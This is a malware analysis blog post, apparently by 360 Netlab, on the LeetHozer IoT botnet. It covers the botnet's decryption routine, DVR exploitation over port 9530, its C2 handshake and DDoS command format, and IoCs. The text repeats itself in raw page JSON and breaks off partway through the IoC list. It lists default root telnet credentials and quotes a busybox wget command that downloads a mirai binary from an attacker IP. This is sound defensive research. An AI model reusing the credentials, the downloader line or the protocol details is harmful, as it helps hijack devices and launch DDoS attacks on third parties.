The sample uses a custom algorithm for encryptiton. The decryption algorithm is as follows:


xorkey="qE6MGAbI"

def decode_str(ctxt):
    for i in range(0,len(xorkey)):
        plain=""
        size=len(ctxt)    
        for idx in range(0, size):
            ch=ord(ctxt[idx]) 
            ch ^=(ord(xorkey[i]) + idx )
            plain += chr(ch)
        ctxt=plain
    return ctxt



After decryption, the key information is as follows, including the watchdog devices, C2 to be operated by the Bot. The information will only be decrypted when it is needed by the bot.





.1
/dev/watchdog




/dev/misc/watchdog
/bin/sh: ./a.out: not found


w6gr2jqz3eag4ksi.onion






The specific implementation of the Bot function is as follows:，


 1. 
    
    
    Set watchdog to prevent device restart
    
    
    

 2. 
    
    
    Bot singleton through PID file
    
    
    

 3. 
    
    
    Scan, exploitation and report information
    
    
    * 
      
      
      mirai's fast port scan technique has been borrowed, the scanned port is 9530
      
      
      
    
    * 
      
      
      Use the vulnerability to enable the telnetd service and try to log in with the following credentials.
      
      
      root:xc3511
      root:xmhdipc
      root:klv123
      root:123456
      root:jvbzd
      root:hi3518
      root:tsgoingon
      
      
    
    * 
      
      
      Report device information after successful login
      
      
      
    

 4. 
    
    
    Receive the C2 command and prepare for DDos attack. The attack commands supported by different versions are different.
    
    
    
    
    
    version
    command
    
    
    
    
    V1
    tcpraw
    
    
    v2
    tcpraw;icmpecho;udpplain
    
    
    
    
    
    However, the data format of the attack command is the same, and its structure is Header(6 bytes),Option1,Option2...，in which the structure of Option isType(2 bytes),Len(2 bytes),Subtype(2 bytes),Contents( Len bytes),Padding, the following takes an actual attack command as an example to explain the parsing process.
    
    
    00000000: 3E 00 3F 00 3A 00 01 00  08 00 04 00 75 64 70 70  >.?.:.......udpp
    00000010: 6C 61 69 6E 00 00 00 00  01 00 0E 00 06 00 31 33  lain..........13
    00000020: 39 2E 32 38 2E 32 31 38  2E 31 38 30 00 00 00 00  9.28.218.180....
    00000030: 02 00 01 00 0C 00 50 00  02 00 01 00 05 00 64 00  ......P.......d.
    ----------------------------------------------------------------------------
    Header: 	3E 00 3F 00 3A 00, ----Little endian 
    				0x003E		---- xor key
    				0x003A		---- 0x3A xor 0x3E = 4 个Option
    Opt 1:		01 00 08 00 04 00, ----Little endian 
    				0x0001		----Type 1,Padding 4 bytes
    				0x0008		----Content length,len("udpplain") = 8
    				0x0004		----Subtype 4,Contents为attack vector
    			Contents: udpplain
    			Padding: 00 00 00 00
    			
    Opt 2:		01 00 0E 00 06 00, ----Little endian 
    				0x0001		----Type 1,Padding 4 bytes
    				0x000e		----Content length
    				0x0006		----Subtype 6,Contents为attack target
                 Contents: 139.28.218.180
                 Padding: 00 00 00 00
    			
    Opt 3:		02 00 01 00 0c 00, ----Little endian 
    				0x0002		----Type 2,No Padding
    				0x0001		----Type 2 Ignore this field，Contents length is always 2 bytes
                 0x000c		----Subtype 0xc,Contents为target port
                 Contents: 80
    
    Opt 4:		02 00 01 00 05 00, ----Little endian 
    				0x0002		----Type 2,No Padding
    				0x0001		----Type 2 Ignore this field，Contents length is always 2 bytes
    				0x0005		----Subtype 0x05,Contents is attack duration
                 Contents: 0x0064
    
    



Communication protocols


Two types of C2: Tor-C2 and IP-C2 has been used. The V2 version has both existed but the code branch where Tor-C2 is located will not be executed. It is likely the V2 version is not final yet.


 1. 
    
    
    Tor-C2，supported by V1，Not used in V2.
    
    
      w6gr2jqz3eag4ksi.onion:31337
    
    

 2. 
    
    
    IP-C2，supported by V2.
    
    
    37.49.226.171:31337
    
    


Tor-C2 has a pre-process to establish a connection through Tor proxy. After the connection between Bot and C2 is established, it takes two rounds of interaction for the bot to successfully go online.


 * 
   
   
   Establish a connection with C2 through Tor proxy
   
   
   
   
   The hardcode proxy list:
   
   
      45.82.176.194:9034
      91.236.251.131:9712
      18.177.13.247:443
      62.109.8.218:8888
      82.99.213.98:9191
      35.225.55.174:9251
      194.99.22.206:9050
      45.147.199.142:8060
      47.104.188.20:8999
      54.149.179.115:9050
      195.128.102.178:9050
      185.176.25.66:9002
      54.188.106.141:9080
      193.47.35.56:10000
      88.193.137.205:9050
      134.209.84.21:9119
      194.58.111.244:9050
      192.99.161.66:9050
      193.47.35.53:9090
      167.179.74.97:9251
      185.30.228.141:9050
   
   

 * 
   
   
   First round of interaction
   
   
   The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way.
   
   
   
   
   The meaning of some key fields
   
   
   
   
   
   offset
   length
   content
   field meaning
   
   
   
   
   0x00
   2 bytes
   0x8f49
   source port
   
   
   0x02
   2 bytes
   0x7a69
   hardcode
   
   
   0x04
   4 bytes
   0x00004818
   hardcode
   
   
   0x0e
   2 bytes
   0x0001
   first round
   
   
   0x14
   4 bytes
   0x0051cc
   checksum
   
   
   
   
   
   The calculation of checksum is as follows
   
   
   step 1: calc the sum of the first 12 WORD
   		(0x8f49+0x7a69+0x4818+0x0000+0x0000+0x0000
   		+0x0001+0x0000+0x0000+0x0000+0x000+0x0000) = 0x000151CB;
   step 2:(HWORD(sum) + LWORD(sum)) >> 16
   		(0x0001+0x51CB) >> 16 = 0;
   step 3:(HWORD(sum) + LWORD(sum)) && 0Xffff
   		(0x0001+0x51cb) && 0xffff = 0x000051cc
   
   
   
   The first 32 bytes of the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check the two valid flags. When the check passes, part of the data will be used for the second round of interaction.
   
   
   
   
   
   
   
   offset
   length
   content
   field meaning
   
   
   
   
   0x04
   4 bytes
   0x000070f1
   valid flag1
   
   
   0x08
   4 bytes
   0x00004819
   valid flag2
   
   
   
   

 * 
   
   
   Second round of interaction
   
   
   The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way. Most of the data comes from the C2 return packets from the previous step.
   
   
   
   
   
   
   
   offset
   length
   content
   field meaning
   
   
   
   
   0x00
   8 bytes
   0x7a697a69,0x000070f1
   C2 reply in the round 1
   
   
   0x08
   4 bytes
   0x000070f2
   hardcode
   
   
   0x0e
   2 bytes
   0x0002
   second round
   
   
   0x14
   4 bytes
   0x00d665
   checksum
   
   
   
   
   
   The 32 bytes before the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check two valid flags. When the check passes, the Bot's online process is completed.
   
   
   
   
   
   
   
   offset
   length
   content
   field meaning
   
   
   
   
   0x04
   4 bytes
   0x00002775
   valid flag1
   
   
   0x08
   4 bytes
   0x000070f2
   valid flag2
   
   
   
   


At this point, the identity verification between the Bot and C2 is completed, and the Bot starts to wait for the C2 to issue instructions. The first byte of the C2 reply packet specifies the type of instruction.


 * 
   
   
   Instruction code: 0x00 indicates heartbeat
   
   
   

 * 
   
   
   Instruction code: 0x01 indicates reporting Bot group information
   
   
   

 * 
   
   
   Instruction code: Not 0x00 0x01 indicates DDoS attack.
   
   
   



Contact us


Readers are always welcomed to reach us on twitter or email to netlab at 360 dot cn.



IoC list



C2


vbrxmrhrjnnouvjf.onion:31337  #v3
37.49.226.171:31337           #v2
w6gr2jqz3eag4ksi.onion:31337  #v1




MD5


027d7e1cda6824bc076d0a586ea139f5
05a485caf78eca390439b7c893c0354b
068083b9d0820f3ac9cec10d03705649
08e1b88305ad138a4509fb6b72ae3d31
0a56855a6d56efe409c2b7a4c6113bcf
0dee2c063085d0c5466137a3c32479f2
0eecbfd368f821901f9ba758e267557a
110ec534e1c60fc47f37739f03c1bb6a
1111c252ee54c4a6614498e66cefb4e7
11c1be44041a8e8ba05be9df336f9231
121960341ab64a7e7686373dedfbc058
128a53e447266e4d0e12adb7c0b43159
129f41468303728b029def8dbc910e35
177de1bf8f90cbcea50fd19c1e3e8cfe
17b5d683d7b177760c8a2ffd749650b0
1aba422e02f0fbff5189399e01e272d4
21e7898b4b585b825d120c3b0fed8b8a
242d0c9386f61c3ac9ddcdbcda724f3e
25588d12bdbb4e4b1d946f2d5c89abf3
273afac3320ddceb0e18671a3e878fa3
2f066945cee892cc857d477d97d42d7c
30c60cfb51896e5d06012ec6cf15c588
3525d090ab1ab1739507ae1777a70b95
37d9fd56ce685717f1180615f555754e
3d24b9cafda55909fbfde16a5222b4d8
3f88cbbcaa3e0b410dcdb18ddb68d4c2
4229c19e6e5c2dc8560fae9b35841957
45a30d656b4767bce0058f80b0895a95
4e22d0079c18043b6d9037fb842d94ee
58a13abe621acc532b1b6d26eb121c61
5ed891c31bc86689cb93488f5746404a
5fafdc3e3ed7c38a204234e0146e5663
5fec7347f2a9a2ae798505135a61c47f
60bb6bf05c3e7f6f13f2374511963f79
669e5f3513ebfa9c30766da294036d6e
6c883cf42d63a672815e38223d241662
6e7e638d27971e060aaee1b9ae43fe4a
76d0285f95fbee81cff81948d5a98db0
7b08a0569506174463c83f50f8d65a8f
84d39f46c4694e176d8734dd53a07c2c
86072e88f28ebf357443300656c0349a
88a39f5bb8e271f3d080a9aaa6c4a44a
8dc36df1617d9c2be576fa02a5c24803
8e7d774441229809c9cfa8d8705b5258
90a63857f31714ff2c285eb6ca9af3d1
919308996155d7a9ec2f7a25a64eb759
91fe795b69880972e30929632d359b52
9a63001fe8f2d2d642bc2c8310a429e0
9c95be6e1e9927cc0171fc344fcceb71
a42550641cc709168c145b5739fca769
a579d46a571e123a9d65dcfe21910c87
a76fdf5b2f817dc1f2e3c241d552b9ae
aa469ab3eb6789104bda30c910f063f5
b0276d96976dd6b805a02141e78df927
b35733792393a08408773a141a94f668
b84fb91f818a2b221833cb6499e5d345
bd28cdf60b03fc302b0ed467b3ea7e43
c6e9c7e7b5370441b379fd0032af4a85
cc42951a01c07dc7034251fdcd08c778
cce2f84c925f30ba11afd817bdae9377
d9d2c7e131e2f19985fffe9a1f38bca1
db6b387ba0f1ab17785de63be55e7fb6
deb66817f026c50d6e78ace69db6f0e6
e8e249712b7ad0bb92ac5ebb1d0f3378
e9ee7ea21696c9e01257c7543d344487
eb210bc6a54c1faef3cc043d767a4c3b
ecf26cb853f2d22b705334cd9acdd3c2
f4aa925fb0d0eda1bdd4b52eecd7d870
fdd05db406a03601b9548aa7a1d07bb6




Downloader


http://185[.172.110.224/ab/i586
http://185[.172.110.224/ab/i686
http://185[.172.110.224/uc/i686
http://185.225.19.57/aq/rxrg
http://188[.214.30.178/arm6
http://188[.214.30.178/arm7
http://188[.214.30.178/bot.arm
http://188[.214.30.178/bot.arm7
http://188[.214.30.178/bot.mips
http://188[.214.30.178/bot.mpsl
http://188[.214.30.178/bot.x86
http://188[.214.30.178/tn/arm
http://188[.214.30.178/tn/arm7
http://188[.214.30.178/tn/mips
http://188[.214.30.178/tn/mpsl
http://190[.115.18.144/arm6
http://190[.115.18.144/arm7
http://190[.115.18.144/bot.arm
http://190[.115.18.144/bot.arm7
http://190[.115.18.144/bot.mips
http://190[.115.18.144/bot.mpsl
http://190[.115.18.144/bot.x86
http://190[.115.18.144/tn/arm
http://190[.115.18.144/tn/arm7
http://190[.115.18.144/tn/mips
http://190[.115.18.144/tn/mpsl
http://37[.49.226.171/bins/mirai.arm
http://37[.49.226.171/bins/mirai.arm7
http://37[.49.226.171/bins/mirai.mpsl
http://37[.49.226.171/bins/mirai.sh4
http://37[.49.226.171/bins/mirai.x86
http://37[.49.226.171/mirai.arm
http://37[.49.226.171/mirai.arm7
http://37[.49.226.171/mirai.mpsl
http://37[.49.226.171/mirai.sh4
http://37[.49.226.171/mirai.x86
http://64[.225.64.58/arm
http://64[.225.64.58/arm5
http://64[.225.64.58/arm6
http://64[.225.64.58/arm7
http://64[.225.64.58/bot.arm
http://64[.225.64.58/bot.arm7
http://64[.225.64.58/bot.mips
http://64[.225.64.58/bot.mpsl
http://64[.225.64.58/bot.x86
http://64[.225.64.58/i586
http://64[.225.64.58/i686
http://64[.225.64.58/m68k
http://64[.225.64.58/mips
http://64[.225.64.58/mpsl
http://64[.225.64.58/sh4
http://64[.225.64.58/spc
http://64[.225.64.58/x86




IP


185.172.110.224     Netherlands    ASN206898    Server_Hosting_Pty_Ltd
185.225.19.57       Romania        ASN39798     MivoCloud_SRL
37.49.226.171       Netherlands    ASN208666    Estro_Web_Services_Private_Limited
64.225.64.58        Netherlands    ASN14061     DigitalOcean,_LLC
188.214.30.178      Romania        ASN51177     THC_Projects_SRL
190.115.18.144      Russian        ASN262254    DANCOM_LTD


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Background\nOn March 26, 2020, we captured a suspicious sample```11c1be44041a8e8ba05be9df336f9231```. Although the samples have the word mirai in their names and most antivirus engines identified it as Mirai, its network traffic is totally new,which had got our attention. \n\nThe sample borrowed some of Mirai’s Reporter and Loader mechanism, but the encryption method and Bot program, as well as C2 communication protocol had been totally redesigned. \n\nFor regular Mirai and their variations, normally the changes are fairly minor, changing C2s or encryption keys, or integrate some new vulnerabilities, nothing dramatic.\n\nBut this one is different. Its encryption method is unique, and communication protocol is more rigorous. Also it is very likely a new branch from the Moobot group and is in active development. (the author released a third version while we work on this article, adding some new function and changing Tor C2 :`vbrxmrhrjnnouvjf.onion:31337`)\n\nSo we think we should blog it and decide to name it LeetHozer because of  the`H0z3r` string(`/bin/busybox wget http://37[.49.226.171:80/bins/mirai.m68k -O - > H0z3r;`)\n\nThe targets devices currently observed are mainly [XiongMai H.264 and H.265 devices](http://www.xiongmaitech.com/en/index.php/news/info/12/68).\n\n\n## Propagation\n\n- In 2017, security researchers disclosed the vulnerability[[2]](https://www.cnblogs.com/mmseh/p/6537924.html).\n- 2020-02-04 POC was released on github[[3]](https://habr.com/en/post/486856/)。[[4]](https://github.com/Snawoot/hisilicon-dvr-telnet).\n- 2020-02-11 We saw a [moobot](__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/) variant we called `moobot_xor` exploiting this vulnerability.\n- 2020-03-26 `LeetHozer` began to exploit the vulnerability.\n\n\nLeetHozer takes advantage of the vulnerability through the target device's TCP 9530 port to start the telnetd service, then  login to the device with the default password to complete the infection process. The propagation process is shown in the figure:\n<a href=\"__GHOST_URL__/content/images/2020/04/hozer_flow.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_flow.png\" class=\"kg-image\"/></a>\n\nThe source IP currently exploiting the vulnerability is around 4.5k per day.\n<a href=\"__GHOST_URL__/content/images/2020/04/dvr.9530.png\"><img src=\"__GHOST_URL__/content/images/2020/04/dvr.9530.m.png\" class=\"kg-image\"/></a>\n\nLeetHozer and moobot_xor used the same unique string `/bin/busybox DNXXXFF`  in their 9530 exploit. We also observed that at times they used the exact same downloader, so we speculate that moobot_xor and LeetHozer probably belong to the same organization or individual.\n\nThe time periods and the downloader shared by the two families are as follows:\n```\ndate=2020-03-26 08:11:46+08:00  md5=11c1be44041a8e8ba05be9df336f9231    family_name=LeetHozer   url=http://185.172[.110.224/ab/i686\ndate=2020-03-26 08:11:39+08:00  md5=11c1be44041a8e8ba05be9df336f9231    family_name=LeetHozer   url=http://185.172[.110.224/ab/i586\ndate=2020-03-26 08:11:39+08:00  md5=b7b2ae292bf182b0d91535770394ad93    family_name=moobot_xor  url=http://185.172[.110.224/ab/arm\n```\n\n\n## The recent LeetHozer DDos targets we currently see\n\n```\n2020-04-07\t37.49.226.171         \t31337\tddos\ttcpraw  \t45.83.128.252  \tASN40676 \tPsychz_Networks\n2020-04-07\t37.49.226.171         \t31337\tddos\tudpplain\t172.106.18.210 \tASN40676 \tPsychz_Networks\n2020-04-08\t37.49.226.171         \t31337\tddos\tudpplain\t185.172.110.224\tASN206898\tServer_Hosting_Pty_Ltd\n2020-04-11\tw6gr2jqz3eag4ksi.onion\t31337\tddos\ticmpecho\t185.38.151.161 \tASN25369 \tHydra_Communications_Ltd\n2020-04-13\t37.49.226.171         \t31337\tddos\ticmpecho\t73.99.44.254   \tASN7922  \tComcast_Cable_Communications,_LLC\n2020-04-13\t37.49.226.171         \t31337\tddos\ticmpecho\t94.174.77.69   \tASN5089  \tVirgin_Media_Limited\n2020-04-13\t37.49.226.171         \t31337\tddos\tudppplain\t94.174.77.69   \tASN5089  \tVirgin_Media_Limited\n2020-04-16\t37.49.226.171         \t31337\tddos\ticmpecho\t117.27.239.28  \tASN133774\tFuzhou\n2020-04-16\t37.49.226.171         \t31337\tddos\ticmpecho\t185.172.110.224\tASN206898\tServer_Hosting_Pty_Ltd\n2020-04-16\t37.49.226.171         \t31337\tddos\ticmpecho\t52.47.76.48    \tASN16509 \tAmazon.com,_Inc.\n2020-04-16\t37.49.226.171         \t31337\tddos\ttcpraw  \t117.27.239.28  \tASN133774\tFuzhou\n2020-04-16\t37.49.226.171         \t31337\tddos\ttcpraw  \t162.248.93.234 \tASN32374 \tNuclearfallout_Enterprises,_Inc.\n2020-04-16\t37.49.226.171         \t31337\tddos\tudpplain\t71.222.69.77   \tASN209   \tCenturyLink_Communications,_LLC\n2020-04-17\t37.49.226.171         \t31337\tddos\tudpplain\t117.27.239.28  \tASN133774\tFuzhou\n2020-04-18\t37.49.226.171         \t31337\tddos\ttcpraw  \t76.164.193.89  \tASN36114 \tVersaweb,_LLC\n2020-04-18\t37.49.226.171         \t31337\tddos\tudpplain\t117.27.239.28  \tASN133774\tFuzhou\n2020-04-18\t37.49.226.171         \t31337\tddos\tudpplain\t66.150.188.101 \tASN32374 \tNuclearfallout_Enterprises,_Inc.\n2020-04-19\t37.49.226.171         \t31337\tddos\ttcpraw  \t117.27.239.28  \tASN133774\tFuzhou\n2020-04-19\t37.49.226.171         \t31337\tddos\tudpplain\t108.61.22.86   \tASN20473 \tChoopa,_LLC\n2020-04-19\t37.49.226.171         \t31337\tddos\tudpplain\t108.61.33.194  \tASN20473 \tChoopa,_LLC\n2020-04-19\t37.49.226.171         \t31337\tddos\tudpplain\t172.107.228.198\tASN40676 \tPsychz_Networks\n2020-04-19\t37.49.226.171         \t31337\tddos\tudpplain\t192.99.226.11  \tASN16276 \tOVH_SAS\n2020-04-19\t37.49.226.171         \t31337\tddos\tudpplain\t209.58.147.245 \tASN394380\tLeaseweb_USA,_Inc.\n2020-04-19\t37.49.226.171         \t31337\tddos\tudpplain\t24.46.209.115  \tASN6128  \tCablevision_Systems_Corp.\n2020-04-19\t37.49.226.171         \t31337\tddos\tudpplain\t71.222.69.77   \tASN209   \tCenturyLink_Communications,_LLC\n2020-04-20\t37.49.226.171         \t31337\tddos\tudpplain\t139.28.218.180 \tASN9009  \tM247_Ltd\n2020-04-20\t37.49.226.171         \t31337\tddos\tudpplain\t74.91.122.90   \tASN14586 \tNuclearfallout_Enterprises,_Inc.\n2020-04-23\t37.49.226.171         \t31337\tddos\ticmpecho\t162.244.55.107 \tASN49544 \ti3D.net_B.V\n2020-04-23\t37.49.226.171         \t31337\tddos\tudpplain\t162.244.55.107 \tASN49544 \ti3D.net_B.V\n```\n\n## Reverse analysis\n\nAt present, there are three versions of LeetHozer samples (We are going to focus on V2 as V3 is in development now). The difference between V1 and V2 is mainly that V2 supports more DDos attack methods.\n<a href=\"__GHOST_URL__/content/images/2020/04/hozer_version.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_version.png\" class=\"kg-image\"/></a>\nWe are going to take a quick look at the sample’s behavior, DDos command format, network communication below.\n\n>MD5:\t\t57212f7e253ecebd39ce5a8a6bd5d2df\n>\n>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\n>\n>Packer:\tNone\n>\n>Library: uclibc\n>\n>Version: V2\n\n### Sample behavior\n\nThe function of LeetHozer is relatively simple, when it runs on infected device, it operates the watchdog device,then write the pid to a file named `.1`, and prints out `/bin/sh:./a.out:not found` string to the console( to confuse the user?). After that, it starts to scan internet to find more devices with open port 9530, and try to use the vulnerability to open the telnetd service on more victim devices. \n\nThe sample also reports the infected device information to the reporter, and establishes communication with C2, waiting for instructions to launch DDos attack.\n\nThe sample uses a custom algorithm for encryptiton. The decryption algorithm is as follows:\n```\nxorkey=\"qE6MGAbI\"\n\ndef decode_str(ctxt):\n    for i in range(0,len(xorkey)):\n        plain=\"\"\n        size=len(ctxt)    \n        for idx in range(0, size):\n            ch=ord(ctxt[idx]) \n            ch ^=(ord(xorkey[i]) + idx )\n            plain += chr(ch)\n        ctxt=plain\n    return ctxt\n```\n\nAfter decryption, the key information is as follows, including the watchdog devices, C2 to be operated by the Bot. The information will only be decrypted when it is needed by the bot.\n\n| **.1**                         | **/dev/watchdog**               |\n| -------------------------- | ------------------------------- |\n| **/dev/misc/watchdog**     | **/bin/sh: ./a.out: not found** |\n| **w6gr2jqz3eag4ksi.onion** |                                 |\n\nThe specific implementation of the Bot function is as follows:，\n\n1. Set watchdog to prevent device restart\n    <a href=\"__GHOST_URL__/content/images/2020/04/hozer_dog-1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_dog-1.png\" class=\"kg-image\"/></a>\n\n2. Bot singleton through PID file\n    <a href=\"__GHOST_URL__/content/images/2020/04/hozer_pid-1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_pid-1.png\" class=\"kg-image\"/></a>\n\n3. Scan, exploitation and report information\n\n   * mirai's fast port scan technique has been borrowed, the scanned port is 9530\n    <a href=\"__GHOST_URL__/content/images/2020/04/hozer_scan.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_scan.png\" class=\"kg-image\"/></a>\n\n   * Use the vulnerability to enable the telnetd service and try to log in with the following credentials.\n\n     ```\n     root:xc3511\n     root:xmhdipc\n     root:klv123\n     root:123456\n     root:jvbzd\n     root:hi3518\n     root:tsgoingon\n     ```\n\n     \n\n   * Report device information after successful login\n    <a href=\"__GHOST_URL__/content/images/2020/04/hozer_report.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_report.png\" class=\"kg-image\"/></a>\n\n4. Receive the C2 command and prepare for DDos attack. The attack commands supported by different versions are different.\n\n   | version | command                  |\n   | ------- | ------------------------ |\n   | V1      | tcpraw                   |\n   | v2      | tcpraw;icmpecho;udpplain |\n\n   However, the data format of the attack command is the same, and its structure is ``Header(6 bytes),Option1,Option2...``，in which the structure of Option is``Type(2 bytes),Len(2 bytes),Subtype(2 bytes),Contents( Len bytes),Padding``, the following takes an actual attack command as an example to explain the parsing process.\n\n\n   ```\n   00000000: 3E 00 3F 00 3A 00 01 00  08 00 04 00 75 64 70 70  >.?.:.......udpp\n   00000010: 6C 61 69 6E 00 00 00 00  01 00 0E 00 06 00 31 33  lain..........13\n   00000020: 39 2E 32 38 2E 32 31 38  2E 31 38 30 00 00 00 00  9.28.218.180....\n   00000030: 02 00 01 00 0C 00 50 00  02 00 01 00 05 00 64 00  ......P.......d.\n   ----------------------------------------------------------------------------\n   Header: \t3E 00 3F 00 3A 00, ----Little endian \n   \t\t\t\t0x003E\t\t---- xor key\n   \t\t\t\t0x003A\t\t---- 0x3A xor 0x3E = 4 个Option\n   Opt 1:\t\t01 00 08 00 04 00, ----Little endian \n   \t\t\t\t0x0001\t\t----Type 1,Padding 4 bytes\n   \t\t\t\t0x0008\t\t----Content length,len(\"udpplain\") = 8\n   \t\t\t\t0x0004\t\t----Subtype 4,Contents为attack vector\n   \t\t\tContents: udpplain\n   \t\t\tPadding: 00 00 00 00\n   \t\t\t\n   Opt 2:\t\t01 00 0E 00 06 00, ----Little endian \n   \t\t\t\t0x0001\t\t----Type 1,Padding 4 bytes\n   \t\t\t\t0x000e\t\t----Content length\n   \t\t\t\t0x0006\t\t----Subtype 6,Contents为attack target\n                Contents: 139.28.218.180\n                Padding: 00 00 00 00\n   \t\t\t\n   Opt 3:\t\t02 00 01 00 0c 00, ----Little endian \n   \t\t\t\t0x0002\t\t----Type 2,No Padding\n   \t\t\t\t0x0001\t\t----Type 2 Ignore this field，Contents length is always 2 bytes\n                0x000c\t\t----Subtype 0xc,Contents为target port\n                Contents: 80\n   \n   Opt 4:\t\t02 00 01 00 05 00, ----Little endian \n   \t\t\t\t0x0002\t\t----Type 2,No Padding\n   \t\t\t\t0x0001\t\t----Type 2 Ignore this field，Contents length is always 2 bytes\n   \t\t\t\t0x0005\t\t----Subtype 0x05,Contents is attack duration\n                Contents: 0x0064\n   ```\n\n   \n\n### Communication protocols\n\nTwo types of C2: Tor-C2 and IP-C2 has been used. The V2 version has both existed but the code branch where Tor-C2 is located will not be executed. It is likely the V2 version is not final yet.\n\n1. Tor-C2，supported by V1，Not used in V2.\n\n   ```\n     w6gr2jqz3eag4ksi.onion:31337\n   ```\n\n2. IP-C2，supported by V2.\n\n   ```\n   37.49.226.171:31337\n   ```\n\nTor-C2 has a pre-process to establish a connection through Tor proxy. After the connection between Bot and C2 is established, it takes two rounds of interaction for the bot to successfully go online.\n\n* Establish a connection with C2 through Tor proxy\n    <a href=\"__GHOST_URL__/content/images/2020/04/hozer_proxy.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_proxy.png\" class=\"kg-image\"/></a>\n\n  The hardcode proxy list:\n\n  ```\n     45.82.176.194:9034\n     91.236.251.131:9712\n     18.177.13.247:443\n     62.109.8.218:8888\n     82.99.213.98:9191\n     35.225.55.174:9251\n     194.99.22.206:9050\n     45.147.199.142:8060\n     47.104.188.20:8999\n     54.149.179.115:9050\n     195.128.102.178:9050\n     185.176.25.66:9002\n     54.188.106.141:9080\n     193.47.35.56:10000\n     88.193.137.205:9050\n     134.209.84.21:9119\n     194.58.111.244:9050\n     192.99.161.66:9050\n     193.47.35.53:9090\n     167.179.74.97:9251\n     185.30.228.141:9050\n  ```\n\n  \n\n* First round of interaction\n\n  The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way.\n    <a href=\"__GHOST_URL__/content/images/2020/04/hozer_roundone.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_roundone.png\" class=\"kg-image\"/></a>\n\n  The meaning of some key fields\n\n  | offset | length  | content    | field meaning |\n  | ------ | ------- | ---------- | ------------- |\n  | 0x00   | 2 bytes | 0x8f49     | source port   |\n  | 0x02   | 2 bytes | 0x7a69     | hardcode      |\n  | 0x04   | 4 bytes | 0x00004818 | hardcode      |\n  | 0x0e   | 2 bytes | 0x0001     | first  round  |\n  | 0x14   | 4 bytes | 0x0051cc   | checksum      |\n\n  The calculation of checksum is as follows\n\n  ```\n  step 1: calc the sum of the first 12 WORD\n  \t\t(0x8f49+0x7a69+0x4818+0x0000+0x0000+0x0000\n  \t\t+0x0001+0x0000+0x0000+0x0000+0x000+0x0000) = 0x000151CB;\n  step 2:(HWORD(sum) + LWORD(sum)) >> 16\n  \t\t(0x0001+0x51CB) >> 16 = 0;\n  step 3:(HWORD(sum) + LWORD(sum)) && 0Xffff\n  \t\t(0x0001+0x51cb) && 0xffff = 0x000051cc\n  ```\n\n  The first 32 bytes of the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check the two valid flags. When the check passes, part of the data will be used for the second round of interaction.\n    <a href=\"__GHOST_URL__/content/images/2020/04/hozer_roundonec.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_roundonec.png\" class=\"kg-image\"/></a>\n\n  | offset | length  | content    | field meaning |\n  | ------ | ------- | ---------- | ------------- |\n  | 0x04   | 4 bytes | 0x000070f1 | valid flag1   |\n  | 0x08   | 4 bytes | 0x00004819 | valid flag2   |\n\n* Second round of interaction\n\n  The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way. Most of the data comes from the C2 return packets from the previous step.\n    <a href=\"__GHOST_URL__/content/images/2020/04/hozer_roundtwo.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_roundtwo.png\" class=\"kg-image\"/></a>\n\n  | offset | length  | content               | field meaning           |\n  | ------ | ------- | --------------------- | ----------------------- |\n  | 0x00   | 8 bytes | 0x7a697a69,0x000070f1 | C2 reply in the round 1 |\n  | 0x08   | 4 bytes | 0x000070f2            | hardcode                |\n  | 0x0e   | 2 bytes | 0x0002                | second round            |\n  | 0x14   | 4 bytes | 0x00d665              | checksum                |\n\n  The 32 bytes before the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check two valid flags. When the check passes, the Bot's online process is completed.\n    <a href=\"__GHOST_URL__/content/images/2020/04/hozer_roundtwoc.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_roundtwoc.png\" class=\"kg-image\"/></a>\n\n  | offset | length  | content    | field meaning |\n  | ------ | ------- | ---------- | ------------- |\n  | 0x04   | 4 bytes | 0x00002775 | valid flag1   |\n  | 0x08   | 4 bytes | 0x000070f2 | valid flag2   |\n\nAt this point, the identity verification between the Bot and C2 is completed, and the Bot starts to wait for the C2 to issue instructions. The first byte of the C2 reply packet specifies the type of instruction.\n\n* Instruction code: `0x00` indicates heartbeat\n    <a href=\"__GHOST_URL__/content/images/2020/04/hozer_heart-1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_heart-1.png\" class=\"kg-image\"/></a>\n\n* Instruction code: ``0x01`` indicates reporting Bot group information\n    <a href=\"__GHOST_URL__/content/images/2020/04/hozer_group-1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_group-1.png\" class=\"kg-image\"/></a>\n\n* Instruction code: Not `0x00` `0x01` indicates DDoS attack.\n    <a href=\"__GHOST_URL__/content/images/2020/04/hozer_attack-1.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_attack-1.png\" class=\"kg-image\"/></a>\n\n## Contact us  \nReaders are always welcomed to reach us on [twitter](https://twitter.com/360Netlab) or email to netlab at 360 dot cn.\n\n\n## IoC list\n\n### C2\n\n```\nvbrxmrhrjnnouvjf.onion:31337  #v3\n37.49.226.171:31337           #v2\nw6gr2jqz3eag4ksi.onion:31337  #v1\n```\n\n### 